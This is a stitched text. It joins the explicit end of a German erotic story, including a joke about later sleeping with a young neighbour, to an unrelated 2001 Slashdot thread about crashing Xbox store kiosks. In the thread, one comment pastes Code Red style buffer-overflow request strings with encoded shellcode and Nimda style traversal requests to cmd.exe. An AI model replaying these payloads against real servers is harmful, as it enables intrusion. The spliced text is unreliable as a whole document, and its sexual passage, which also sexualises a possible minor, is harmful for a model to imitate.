"Wenn Du Deinen Nachbarn noch vögeln willst, hat sich das eh erledigt." "Ne, der ist noch was jung. Dem geb' ich
noch zwei Jahre, bevor ich mir den gönne."

Ich sitze nur da und schüttle den Kopf.

"Also, Du kennst doch Christian... einer von Markus Freunden... die beiden sitzen fast immer zusammen." "Ja... ja, ich
glaub', ich weiß wen Du meinst." "Der kommt um drei hier vorbei und das Problem ist, außer Dir kann er keine von uns
leiden, ist aber in Dich verknallt."

"Hm, der Junge hat Geschmack... und ist süß... wann soll ich da sein?" "Halb drei in der Steinstraße 10."

"Alles klar. Bis dann. Tschö." "Tschö." Katja legt das Telefon zur Seite.

Wir duschen zusammen, ziehen uns wieder an und hören noch etwas Musik, als auch schon Isabell kommt.

"Was muß ich sehen? Ihr seid ja angezogen. Das kann doch wohl nicht wahr sein?"

Dann komme ich auch zu Wort.

"Schön das Du da bist. Freut mich wahnsinnig. Aber ich bin hier für die Witzchen zuständig."

"Na los. Erzähl. Was hat sie mit Dir gemacht?" "Nichts was Du nicht auch schon gemacht hast, wenn ich das
Telefongespräch richtig interpretiere."

"Du hast es gehört? Und, hat es Dich angemacht?" "Nicht so sehr, wie die Jungs in Deiner Nachbarschaft." "Oh, da
hatte ich mich vertan. Das war nicht der Junge, sondern der Vater."

Es klingelt. "Ich mach' auf", sagt Isabell, "dann kriegt Christian den Schock seines Lebens... aber das mach' ich ja
auch wieder gut." Sie war ein richtiger Wirbelwind.

Sie geht zur Tür. Wenig später steht Christian vor mir. Grinsend. "Was geht denn hier ab?"

Ich antworte: "Was fragst Du mich? Ich hab' hier nichts mehr zu sagen." "Hätt' ich zwei halbnackte Schönheiten in
meinem Haus, würde ich mich nicht beschweren."

"Halbnackt?", fällt mir Isabell ins Wort. "Sieht man etwa, dass ich keine Unnterwäsche trage."

Ich muß mich setzen.

"Die ist für Dich da", kläre ich Christian auf. "Zum...? Ne, glaub' ich nicht." Er grinst Isabell an.

Die nimmt seine Hand. "Komm wir gehen schon mal hoch."

Da haben sich zwei gefunden.

Katja und ich knutschen rum. Ich streichle über ihren Rücken und weiter runter über ihren Po. Sie massiert mein Glied
durch meine Hose.

Wir hören Isabell oben laut aufstöhnen.

"Komm, wir schauen mal, was die machen." Katja zieht mich mit sich.

"Woher weiß die überhaupt, wo mein Zimmer ist?" "Ach, glaub' mir, die findet jedes Bett, in jedem Zimmer, in jedem
Haus."

Katja öffnet die Tür. Isabell liegt nackt auf meinem Bett. Ihre Beine hat sie weit gespreizt und Christians Kopf steckt
zwischen ihren Schenkeln.

Isabell hat ihre Augen geschlossen, mit ihren Händen massiert sie ihren wirklich riesigen Busen. Ihre Nippel sind hart
und sie stöhnt in Ekstase.

Ich stelle mich hinter Katja und streichle ihre Brüste, meine Zunge fährt ihren Nacken entlang. Ich möchte ihr das Top
ausziehen, willig nimmt sie ihre Arme hoch, hilft mir so. Dann zieh' ich ihr den Rock herunter.

"Ich möchte das auch bei Dir machen, was Christian da mit Deiner Freundin macht."

Katja nickt, sie wendet ihren Blick nicht von den beiden ab. Ich knie mich vor sie, habe ihr wundervolles Lustzentrum
direkt vor meinen Augen.

Mit meiner Zunge fahre ich ihre Spalte auf und ab. Vorsichtig, mit ein wenig Druck, presse ich meine Zunge zwischen
ihren beiden Lippen durch. Mit meinen Fingern ziehe ich sie weiter auseinander.

Oben finde ich ihre Klitoris und als ich meine Zungenspitze dorthin führe, spüre ich Katjas Feuchtigkeit und höre sie
stöhnen.

Ich schaue zu ihr hoch. Sie hat die Augen geschlossen und den Kopf nach hinten geworfen.

"Ah, das ist phantastisch... ja... weiter... jaahh."

Katjas Orgasmus überflutet meine Zunge mit ihrem Liebessaft. Es schmeckt herrlich. Ich versuche soviel davon zu
bekommen, wie möglich.

Anschließend setzen wir uns für eine kurze Pause auf die Couch.

Isabell und Christian haben inzwischen die Positionen gewechselt. Sie verwöhnt nun sein Glied, wie es Katja heute
morgen noch mit meinem gemacht hatte. Auch Christian genießt es offensichtlich sehr, will aber nicht in Isabells
Mund kommen.

"Warte, ich bin gleich soweit."

Er zieht seinen Penis aus ihrem Mund und spritzt sein Sperma über ihre Brüste. Gierig leckt Isabell mit der Zunge über
ihren Busen.

Bei diesem Anblick schießt das Blut zurück in meine Lenden. Katja nimmt meine Erektion in die Hand und bewegt sie
auf und ab.

Wir stehen auf und Katja stellt sich vors Bett. Sie beugt sich nach vorne, stützt sich am Rahmen ab. Ich stelle mich
hinter sie und dringe in sie ein.

Ich ziehe mein Glied wieder ganz aus ihr heraus um diesmal sehr kräftig zuzustoßen. Katja schreit laut auf vor Lust und
Erregung.

Ich beginne, meine Hüften rhytmisch vor und zurück zu bewegen. Eine Hand habe ich auf ihrem Po, mit der anderen
umfasse ich ihren Busen.

Inzwischen sind auch Isabell und Christian wieder soweit. Isabell stellt sich neben Katja und Christian beginnt sich
genauso um Isabell zu kümmern, wie ich mich um Katja.

Mein Rhythmus wird schneller. Der Anblick, wie mein bester Freund dieses Mädchen liebt, macht mich unheimlich
scharf.

Ich spüre, dass ich unmittelbar auf meinen Orgasmus zusteuere und auch Katja ist gleich soweit.

Unser Stöhnen wird immer lauter und heftiger und mit einem letzten, kräftigen Stoß erlöse ich uns.

Isabell und Christian kommen kurz nach uns zu ihren Höhepunkten und sind dabei auch nicht gerade leise.

Seither sind Katja und ich ein Paar. Wir sind unheimlich verliebt und treiben es immer und überall miteinander: Im Kino,
in der Umkleidekabine des Kaufhauses, im Auto oder auf der Schultoilette während des Abiballs (wir haben beide
bestanden). Isabell und Christian sind nicht zusammen, treffen sich aber regelmäßig um miteinander Spaß zu haben.

Alles in Allem ein recht gelungener Sommer.

Wow (1)

nexex (256614) | more than 11 years ago | (#2466750)

I'm glad Microsoft has finally brought some "innovation" to the console world. They are only providing a feature that customers want!

"Believed to be final hardware" (0)

Anonymous Coward | more than 11 years ago | (#2466751)

What in the world would lead them to believe this? Fancy packaging? Obviously this isn't the final product.

Probably overheating (4, Insightful)

ttyRazor (20815) | more than 11 years ago | (#2466755)

Putting them inside those enclosures probably isn't the best place for heat dissipation. I know if I put my PC in something like that it wouldn't last long.

Re:Probably overheating (1)

geekster (87252) | more than 11 years ago | (#2466788)

What about the other consoles, why don't they overheat?

Re:Probably overheating (2)

gorillasoft (463718) | more than 11 years ago | (#2466862)

I have personally seen N64's and PS1's both repeatedly crash in the in-store demo boxes. I don't know the source of the crashes/lockups, but the hardware was relatively new as the store had only been open a month or so.

Basically, these boxes do get abused a lot, and some setups do use extremely small enclosures without sufficient (and sometimes no) ventilation, so they could be succumbing to heat or user caused failures.

Now, it is somewhat surprising that this would happen in such a short time of use, but it is possible it's just a heat problem.

Re:Probably overheating (1)

jiheison (468171) | more than 11 years ago | (#2466872)

They do. Or at least, they did. Remember the PS1? There was even an external cooling system you could buy (Game Ice?). The problem was eventually fixed.

Re:Probably overheating (0)

Anonymous Coward | more than 11 years ago | (#2466889)

Their hardware naturally generates less heat. An Xbox is for the most part a regular x86 PC, which require a lot of cooling compared with a traditional console.

For most consoles a heatsink and sometimes a small fan is enough. For PCs a big heatsink and fan are minimum.

Other consoles use cooler chipsets (2, Informative)

SethJohnson (112166) | more than 11 years ago | (#2466936)



With the exception of the dreamcast (which may be the first gaming console with a fan built in), other consoles have used cooler-running chips. Don't know too much about the PS2, but the PSX was using a RISC chip built by SGI. Probably the same for PS2.


xBox, OTOH, will be using commodity intel-based hardware which has historically had heat and energy consumption issues.

Re:Probably overheating (5, Insightful)

erpbridge (64037) | more than 11 years ago | (#2466831)

Problem is, Microsoft (and for that matter, anyone making a console system or piece of a home entertainment center) needs to keep in mind that it is all too possible that this piece of equipment WILL be put into a space with about a finger's worth of clearance on each side and top, and will possibly also have a couple things stacked on top of it. They need to design them either for quick heat dissipation, or low heat generation.

The kiosk is spacious compared to what some will go through....

Re:Probably overheating (1)

Kierthos (225954) | more than 11 years ago | (#2466847)

It might be due to heat dissipation, but if so, that's not a good thing anyway. How many people place their game consoles in a TV cabinet or next to their VCR? If it's going to overheat and have load problems this easily, I can't see a whole lot of incentive to buy the silly thing.

Well... since Solid Gear Metal 2 is coming out, I don't see a lot of incentive to do anything but sit in front of a PS2 for prolonged periods of time.

Kierthos

Screw DOA3, what about Halo? (1, Offtopic)

cryptochrome (303529) | more than 11 years ago | (#2466756)

It damn well better come out for the mac sometime in the near future...

Re:Screw DOA3, what about Halo? (2)

Xzzy (111297) | more than 11 years ago | (#2466848)

Heck, it better come out on ANYTHING in the near future. Halo was heavily billed as a Mac/PC game ever since it was unveiled, and ever since M$ gobbled Bungie up us keyboard users have taken a back seat to the X-box.

Current rumors suggest Halo for Mac/PC will be out several months after the X-box release.. to make sure M$ lures as many suckers into buying their POS console before farming the francise out.

I played it at target. (2)

MxTxL (307166) | more than 11 years ago | (#2466761)

I played the demo box at target. There were like 9 different demos that were just presentations, but there was at least one (the topmost option) that you could actually play... you had to run around and gather coins basically. It wasn't much of a game, being just a demo, but the controls were good and the graphics were cool. As long as the Xbox doesn't get a reputation for blue screen of deathing all the time.... i might consider buying one.

you betcha! (4, Redundant)

HongPong (226840) | more than 11 years ago | (#2466762)

Is DOA3 still planned as x-box only?

I say if the X-box is crashing this much it's pretty much DOA already.

Go Linux on the PS2 instead! (1, Interesting)

Glock27 (446276) | more than 11 years ago | (#2466765)

Cnet is carrying an article about a worldwide Linux kit for PS2:

Sony to expand Linux for PlayStation 2 [cnet.com]

Now I know which console I'll be getting this holiday season! :-)

299,792,458 m/s...not just a good idea, its the law!

Re:Go Linux on the PS2 instead! (0)

Anonymous Coward | more than 11 years ago | (#2466905)

Brilliant. The "post a link to a story that was on Slashdot last night in a miserable attempt to karma whore" approach. Very creative.

I hope it was worth it.

How long. . . (1)

jiheison (468171) | more than 11 years ago | (#2466766)

. . .before every one of these is diabled by some local twit?

Interesting Picture (3, Funny)

guru_steve (205501) | more than 11 years ago | (#2466768)

Found this interesting picture [hardocp.com] of a screenshot from an XBox console having problems loading a file.

Don't know if it's authentic though

Re:Interesting Picture (1)

Happy Monkey (183927) | more than 11 years ago | (#2466842)

Heh. At least they made the error screeen all high-tech looking...

DOA3 (1)

MG23 (461697) | more than 11 years ago | (#2466770)

Is DOA3 still planned as x-box only?


Microsoft confirmed a version of DOA3 will be released for the Playstation 2 at some point in the future. Probably a few months off.

Microsoft strategy (1)

Anonymous Coward | more than 11 years ago | (#2466771)

I'll bet that someone at Microsoft read the article where someone proposed using the Xbox as a web server, running standalone Apache.

This would be their method of nipping those plans in the bud.

Public Beta Testing? (1)

Dead Penis Bird (524912) | more than 11 years ago | (#2466773)

Even though it's not meant as a beta test, this seems is a good way to test Xbox. Microsoft is receiving hundreds of bug reports before release. And it's a demanding test, being on for hours at a time.

It's like a beta test, except the product is supposedly final.

Translations... (1)

cirby (2599) | more than 11 years ago | (#2466870)

In MSoftian:
"R&D" means "we just saw someone else demoing something neat."
"Alpha" means "here's the Director mockup running on a Mac."
"Beta" means "well, we got it working, sorta."
"Golden Master" means "hey, it runs, if we leave out some features."
"Release" means "ready for the newest Nimda variant to run on it!"

could be worse (2, Funny)

Quasar1999 (520073) | more than 11 years ago | (#2466776)

Better the Xbox kiosk than a bank machine (I'm sure you've all seen the pictures)... or airport arrival/departure screens... or on ad billboards... or...

fucking retards (2, Interesting)

mosch (204) | more than 11 years ago | (#2466777)

who would want a first-gen microsoft designed console anyway? Everybody knows microsoft gets it almost right on the third try, not the first try.

As far as DOA goes, yeah, I think the X-Box is DOA.

Re:fucking retards (1)

NeoTomba (462540) | more than 11 years ago | (#2466940)

Wait, by this logic, Microsoft got it right with Windows 3.0

I mean, unless I'm rediculously mistaken here, Windows 3.0 was a pretty shitty OS.

-NeoTomba

So much for quality control... (1)

jmerelo (216716) | more than 11 years ago | (#2466784)

If they ship buggy hardware boxes, no wonder their OSs have holes bigger than you can stuff unsold XP boxes into...

Re: Is DOA3 Xbox only? (1)

Cutriss (262920) | more than 11 years ago | (#2466785)

Yes. But thank the gods, Soul Calibur 2 is NOT!

IMHO an excellent point... (5, Insightful)

mystery_bowler (472698) | more than 11 years ago | (#2466786)

A good friend of mine once said that if MS's development track record held up, that the X-Box would be a flop. To paraphrase, he said: "People don't expect their console to crash. If it does, they'll return it."

Now I know the PS2 had some backward-compatibility problems, but other than that, has it been rock-solid? I know I've never had so much as a hiccup from my Dreamcast.

Re:IMHO an excellent point... (3, Interesting)

Dimensio (311070) | more than 11 years ago | (#2466869)

PS2 does have some backwards compatability problems with a few PSX games (often those problems pop up only when using the "advanced" PSX features: texture smoothing and fast disc access). It also has some problems with a few DVD movies (may of which are resolved with updated drivers that can be put on a memory card), but 1) every DVD player has problems with at least a disc or two and 2) the PS2 is marketed as a PS2 game playing console first, DVD player second.
I've also never seen an incident of a PS2 breaking down or crashing in a kiosk (though I never asked much).

I've lurked quite a bit on PS2 discussion boards and I've not heard much about problems with actual PS2 games on the PS2 console. Pretty stable, apparently.

Re:IMHO an excellent point... (2)

brunes69 (86786) | more than 11 years ago | (#2466880)

I've never had a PS2 lock up on my. Also, it plays my Gladiator DVD fine, whereas playing it o my PC causes it to lock up in this one specific part every time (when Maximus is fleeing the prison), boht in windows and linux. Dunno whats up, maybe bad sector on the disk? Anyways, the PS2 rolls through it without even a skip.

Re:IMHO an excellent point... (1)

robi2106 (464558) | more than 11 years ago | (#2466884)

Exactly. I have been playing console systems since Atari and I haven't know them to have problems such as this. I know several friends of mine that are hard core console system gamers that would throw a fit if their Final Fantasy VII games "hickuped" in the middle of a cut scene. If the current trend continues, then M$ will fell what it is like to enter the world of actual customers (not just prisoners in their M$ OS land).

robi

Re:IMHO an excellent point... (1)

jiheison (468171) | more than 11 years ago | (#2466947)

My Dreamcast has managed to produce a black screen with a little error code in the top left corner. Happened to a friend of mine to.

So? (0)

Anonymous Coward | more than 11 years ago | (#2466790)

I find it funny that people would find this news. Remember, we are dealing with the king of crashing. Now, if the XBox was Linux, do you think there would be out of order signs?

Re:So? (0)

Anonymous Coward | more than 11 years ago | (#2466923)

No, it would probably do a memory dump on the screen, and you would be expected to disassemle the binary code yourself, otherwise you'll be labelled as "stupid" by the Linux community.

Wouldn't it be funny if... (1)

uigrad_2000 (398500) | more than 11 years ago | (#2466791)

The reason the audio has popps and clicks was because it was ripped from a copy-protected CD?

Unprecedented? (0)

Anonymous Coward | more than 11 years ago | (#2466793)

Well, this is something new. Have we ever seen a mass-market console system that flat out didn't work out of the box.

Only from Microsoft!

Have they tried... (4, Funny)

siegesama (450116) | more than 11 years ago | (#2466795)


Taking out the Demo and blowing on it? Then they need to blow into the box itself before putting the demo back in. Then ya gotta hold down the reset button and sorta *tap tap tap* on the game, and it'll come on if you've got the "touch".

/FLASHBACK CONSOLE="NES"


oh, wait. What? Oh, XBox. Right.

PS2 killer? (1)

blumpy (84889) | more than 11 years ago | (#2466798)

This topic has been done many times everywhere, but I figure i'd bring it up.... who think it's going to be the ps2 killer?

Personally, i own a ps2 and i'm afraid. MS may bring out crappy products but historically their crappy products come with good brainwashing type of marketing that usually kills competition. I hope there will be an X-box emulator for my PS2 (unfortunately).

WHAT THE F@"#))"!!!!! (1)

andres32a (448314) | more than 11 years ago | (#2466801)

"Out of five stores that have playable demos within a ten mile area, only two have working units," says the employee.

Well... (sigh) Ah... (geez)

"An Xbox unit in the Germantown, MD Target store is reported to have "freezing" problems that requires employees to open the kiosk every 75 minutes to reset the console.

Do i need to say anything??? @#"#"$@e$"!!!!!!!!!

Its down to the hardware. (1)

91degrees (207121) | more than 11 years ago | (#2466803)

Unlike a console, the X-Box is a PC. It uses a PC processor, and a PC graphics chip. These are obviously considerably more advanced than anything in a console, and are therefore more likely to go wrong. Its one of the prices to pay for being on the bleeding edge.

Fortunately there is a solution. Simply wait a few months. You will be able to download patches from the internet. The built in hard drive will allow these patches to work.

The only reamining question is how long until we het Linux for it?

Re:Its down to the hardware. (1)

Glock27 (446276) | more than 11 years ago | (#2466851)

Unlike a console, the X-Box is a PC. It uses a PC processor, and a PC graphics chip. These are obviously considerably more advanced than anything in a console, and are therefore more likely to go wrong. Its one of the prices to pay for being on the bleeding edge.

Horse-bleep. I'm typing at a PC right now, with an Athlon and a GeForce graphics card. It often has uptimes of weeks (voluntary reboots only), running RH 7.1 of course.

Face it, Microsoft has brainwashed you into thinking crashes are inevitable... ;-)

299,792,458 m/s...not just a good idea, its the law!

Re:Its down to the hardware. (3, Informative)

EnglishTim (9662) | more than 11 years ago | (#2466917)

All consoles have a central processor, a graphics chip, some sound hardware and memory. Just because it's 80x86 rather than PowerPC/MIPS/SH4 doesn't make any difference.

The big difference is that it's the only one using a stripped-down version of a PC operating system. Oh, and it has a hard drive.

The main thing that makes PCs so vulnerable to crashes is the huge variation in hardware. XBox doesn't have this problem as all XBoxes (at the moment) are all the same.

Re:Its down to the hardware. (1)

andres32a (448314) | more than 11 years ago | (#2466920)

Sure... next thing MICROSOFT will make a pocket calculator with a very advanced "PC processor, and a PC graphics chip" that crashes every time you make a sum and YOU WILL BE ABLE TO BLAME IT ON THE HARDWARE!!!!!

Re:Its down to the hardware. (1)

theVicar (106097) | more than 11 years ago | (#2466943)

i wonder if the kiosks are really xbox devkits or other such slapped-together PCs running some kind of emulation.

I like the PS2 HD setup better - the assumption is you're running it as a regular console with no HD so it will always work that way, but if you want to go against nature and run it as a computer with all the crashing you're sure to have, that's up to you. keep your computer out of my console?

Microsoft should have blue screen on XBOX (0)

Anonymous Coward | more than 11 years ago | (#2466808)

or Mircosoft should invent new signs to represent crash for XBOX? I think good example would be a Green X on the black Screen :P

Hello, XBox customer support, can I have your CC# (1, Funny)

Anonymous Coward | more than 11 years ago | (#2466813)

Soon after, a screen appeared that said the Xbox needed customer service repair. The screen provided a list of customer service phone numbers to contact.

I wonder if they're charing $200 per incident?

Few people are buying xbox anyway (2, Interesting)

LazyDawg (519783) | more than 11 years ago | (#2466819)

Out of the 20 gamers I know, about 19 of them are unwilling to purchase XBox simply because of Microsoft's good name.

While the OS on other game consoles ends up crashing occasionally too (in spite of the almost complete lack of a visible OS) they'd believe anything about the Microsoft one crashing anyway, without needing a demonstration.

Its almost a shame these people don't take their expectations of one complex computer system and attach them to another, like, say, a desktop.

Re:Few people are buying xbox anyway (0)

Anonymous Coward | more than 11 years ago | (#2466919)

Microsoft doesn't want to sell to your geek friends. They want to sell this to ever 13 year old boy in America! They don't give a shit if MS or Tyson Chicken makes it.

Activation (2, Funny)

nexex (256614) | more than 11 years ago | (#2466830)

Hmm, perhaps they have not completed the required product activation ala WinXP :)

DOA3 and ODDWORLD (1)

clustersnarf (236) | more than 11 years ago | (#2466833)

Oddworld 3, "Munch's Oddysee" is also only coming out for the X box. Thanks microsoft. Buy up the good game companies and FORCE THEIR HANDS in the gaming market. I refuse to buy an X box for ONE game. But Microsoft is BANKING on this.

...assholes...

They can bank on it all they want... (2)

Svartalf (2997) | more than 11 years ago | (#2466929)

If it's hanging/BSODing now, do you REALLY think anyone's going to buy off on it? (At least the demo units for the PS2 work well...) Yes, those are neato games, but there's always other companies out there willing to fill that void MS is making right now.

so far . . . (2, Funny)

hawk (1151) | more than 11 years ago | (#2466849)

>Out of five stores that have
>layable demos within a ten mile area, only two have working units,"
>ays one Babbage's employee." It's funny because it's Microsoft. Get
>t? It's... oh never mind. Is DOA3 still planned as x-box only?


so far, DOA3 is only available at 3 of the 5 stores in the local area. After an hour or two, though, it's likely that DOA4 will arrive, with DOA5 applying by the end of the day . . .


:)


hawk

Bah to user opinion. (2, Interesting)

magnetHEAD (158470) | more than 11 years ago | (#2466852)

Being a long time gamer and a fervent computer user, I came to a decision about a month and a half ago.
I'm no longer going to use microsoft products in my home. My girlfriends computer is going to get a fresh install of Redhat in about two weeks and that should be the last of it.
The only shortfall to the whole thing has been the lack of mmog's to play under linux. I figure this will take a little time, but it'll get there eventually (most likely in the form of a game / games that play on all platforms..)
I went and bought a ps2 this summer, and some of the games coming out right now, Ico (SCEA) and Devil May Cry are absolutely stunning single player games. It will be interesting to see what happens when the net adapter and hard disk come out for the ps2, but in the meantime, based on principle I've made a few smaller decisions.
I won't be installing explorer 6.x+ ever (even at work), and I won't be buying an Xbox. Some of the stuff that Microsoft is doing with their licensing practices, as well as the shoddy quality of all their products since they were born just don't warrant rewards.
Then again, I'll most likely be one of those parents that spanks their kids as a disciplinary action as well, so maybe that just makes me a great big asshole.
Nobody should be siding with microsoft in any of their endeavors, I wonder why nobody is standing up and saying anything like this, now that MS is reaching into the gaming arena.
Still, it's rather humorous that some of the demo systems don't work, and people will still run out and buy them like lemmings.

-mh

Re:Bah to user opinion. (1)

mickeyreznor (320351) | more than 11 years ago | (#2466902)

"The only shortfall to the whole thing has been the lack of mmog's to play under linux."

Two words: Neverwinter Nights [neverwinternights.com]

It will be out end 2000/early 2001.

Heat is the likely culprit (5, Informative)

Junks Jerzey (54586) | more than 11 years ago | (#2466856)

Newer game consoles are shipping with heatsinks and fans, items which weren't needed in previous generations of game systems. What's scary is that this is even though Sega and Sony have intentionally done things to keep power consumption down, like using lower power CPUs like the SH4 and MIPS and keeping the amount of memory reasonable.

Microsoft is putting in a hot running CPU that was never designed for embedded systems use and twice the memory of the PS2. Sure, that makes it more powerful in a way, but it also may be over the line in terms of what you can do inside of a sealed consumer box. Remember, "more powerful" has never been the mantra of embedded systems engineers, but "cool running" and "rock solid reliable" are.

This is News? (0)

Anonymous Coward | more than 11 years ago | (#2466858)

A Microsoft product that doesn't work-- Stop the presses! Besides, half the time I'm at Walmart their Playstation / Dreamcast / GameBoy Advance isn't working either. Gross bias is distasteful even to some of those of like view, so stop.

ad campain for xbox (1)

pecka (31619) | more than 11 years ago | (#2466860)

there is a rumor that the main driving force behind xbox ad campain will be the song I Will Crash On You

I gotta ask (1)

ritalin (4861) | more than 11 years ago | (#2466865)


Did it give a big BSOD? Or did it just lock up?

Think of everyone oogling the fancy graphics and a nice bluescreen comes up, and everybody thinks its a joke, but it isn't.

This brings me to an unrelated point. Nintendo actually spent money on me. They sent me promotional material. It was an envelope shaped like a gamecube with a minicd in it that was basically a big web page. It included info about their upcoming games as well as wallpapers and videos. Pretty neat.

Well, .

Mike

Crashes at the Microsoft Store (3, Informative)

Animats (122034) | more than 11 years ago | (#2466875)

The last time I was in Microsoft's retail outlet at the Sony Metreon in SF, two of the six game stations (Win2K PCs, not XBox) had crashed.

Over at the Sony Playstation store, everything works all the time. (Most of the PS2 games suck, but that's a separate problem.)

The XBox runs a cut-down version of Win2K, which supports one multi-threaded application at a time, running in kernel mode. It may have been a mistake, to use the architecture of a desktop OS without the protection.

Taste of things to come. (0)

Anonymous Coward | more than 11 years ago | (#2466883)

>The Xbox demo unit at a nearby Toys R Us store
>could not give consumers a taste of the new
>Microsoft console because of severe loading
>problems.

Umm, consumers did get a taste of the new console. Anyone who buys it is a fool when they see it crashed in the kiosk.

Why I'm a troll... (-1)

Dead Fart Warrior (525970) | more than 11 years ago | (#2466891)

It's funny because it's Microsoft. Get it?

People ask me "Why give up a 50 karma poster that posts your own opinions?"

Now I can point them to the above post. Simple as that.

Thanks for being both zealotous, and close-minded, Taco.

Hmmm.... (2)

FatRatBastard (7583) | more than 11 years ago | (#2466896)

Maybe the X in X box really stands for MSX.

I have a feeling (due to the economy, et al) that MS may be looking at MSX part deux, except this time they're on the hook for the hardware as well. Even if the X-box is successful its gonna hit MS's bottom line for a year or so (to the tune of a billion or so). Add "reliability" problems to it and you can kiss it goodbye.

I wonder if after the christmas season it is not living up to expectation how long until MS kill it. It ain't cheap (subsidising each machine.. ask Sega), and the stench of death over a console machine is damn near impossible to overcome (even if you iron out bugs in the next batch of machines). Its not like its software and you can issue patches owners can download.

*IF* (and its a big if) this is a sign of things to come for the X-box (and I'll give MS the benifit of the doubt and say it isn't) could cost a LOT of money.

Re:Hmmm.... (0)

Anonymous Coward | more than 11 years ago | (#2466950)

> Its not like its software and you can issue patches owners can download.

Uh, why can't they? It's got a decently large hard drive to store them on and both internet and CD support to distribute them. I'd be surprised if MS didn't try to patch away some of the screwups they seem to be having.

a tutorial? (1)

fishboy (81833) | more than 11 years ago | (#2466899)

"Crashing Xbox Kiosks"...

I thought that the headline meant the story was going to give us instructions on how to crash xboxen...

...but I suppose it would make for a pretty short article, looking something like this:

1) show up.
2) watch xbox crash

Crashing an Xbox (3, Funny)

Magumbo (414471) | more than 11 years ago | (#2466904)

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucb d3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b% u5 3ff%u0078%u0000%u00=a

GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir

Believed (2)

Mr_Silver (213637) | more than 11 years ago | (#2466907)

Several Toys R Us employees did not know what went wrong with the Xbox demo unit that now carried a "Out of Order" sign. The store received their unit on Tuesday. The in-store demo units are believed to be actual finalized hardware that consumers will see at launch.

(emphasis mine)

I'd like to see this confirmed first. However whichever way you look at it, it is pretty damn silly to have either a beta box or a buggy game running in shops.

I don't think it would be unfair to suggest that the one that does finally go into retail won't be as bad as this.

Did MS design the hardware? (2)

sheetsda (230887) | more than 11 years ago | (#2466908)

Did MS design the XBox's hardware? A bug in software is easily fixed with a patch, but what do they do when they find out the hardware is flawed? Or is there some process to eliminate hardware bugs before they wreak havoc? (I seem to remember one of Intels chips getting to market with bugs)

Xbox Demo Kiosks (2)

imadork (226897) | more than 11 years ago | (#2466911)

I saw one of the demo kiosks. I was kind of disappointed that there was only one demo that wasn't "Non-interactive". I was amused at the title of the last non-interactive demo - "Microsoft Legal Information" or something similarly ominous.

I was afraid to look at it because it was probably a EULA that would legally bind me to buy XBox games exclusively, and turn in all my Playstation games to the console Police (or something like that).

Not a Microsoft Problem. (4, Informative)

supabeast! (84658) | more than 11 years ago | (#2466912)

Demo kiosk units for modern game consoles usually have these problems, especially prerelease systems that use early hardware revisions. The crashing usually results from overheating caused by the machines running 24/7, in small enclosures with poor, if any ventilation. I have seen plenty of the old Dreamcast display units hung up and crashing to a black screen with a little text. It might also be due to the early software revisions in the machines.

Of course, anyone who had an old NES should remember that many of the system's games were very crash prone. I cannot begin to describe how many time I saw Teenage Mutant Ninja Turtles crash, to the point that I knew what areas to walk away from when parts of the screen would become distorted...

Thus spake Taco (4, Funny)

Anonymous Coward | more than 11 years ago | (#2466921)

I'd personally like to assign a -2 penalty on any comment rated 'funny' because most of them frankly just aren't funny at all.

It's funny because it's Microsoft.

I live in SIOUX Falls, not Souix Falls (2)

jemhddar (53448) | more than 11 years ago | (#2466925)

And people wonder why I always have to spell the name of the town I live in.

Anyway, Microsofts poor software has kept me employed for 5 years, and this is just reinforces that belief.

Matt

A game of skill and strategy! (4, Funny)

Mustang Matt (133426) | more than 11 years ago | (#2466926)

Interpret the BSOD - Coming soon to video game stores near you!

Publisher: Microsoft 2001
Retail: $79.95/year license
EULA: You agree to the terms inside the package by opening the package.

And you were worried! (1)

TheLoneCabbage (323135) | more than 11 years ago | (#2466934)

Microsoft couldn't make a decent product to save their lives.

But don't sweat, go ahead and buy an XBox. Next year MS will sell you the fix...er upgrade.

But seriosly. MS's buisness model is based on the idea of continuous upgrade (fixes), to poorly designed products (that may be a bit of a stretch, but not a big one). However the machines themselves are loss leaders for MS. How can they make money by selling an inferior piece of equipment, and it's fix/upgrade. If ever time the user buys one it costs MS money??

XBox Games On Windows (0)

JohnHegarty (453016) | more than 11 years ago | (#2466935)

As the XBOX is basically a pc , and the games are all just direct X ... is anyone working on a way to play these games on your pc , or is micorosoft going to release a version of direct x ..etc... to allow this...

this would be a good thing for m$ to do , becuase it would grealy increase the number of games for the xbox , and a developer would be more lightly to develope if they can target the pc/x-box market with the same piece of software....

of course this would also help the pirates...but then again , what doesn't..

New Terrorist?? (1, Insightful)

typikalteen (259468) | more than 11 years ago | (#2466942)

Is crashing the X-Box considered a act of gaming terrorism
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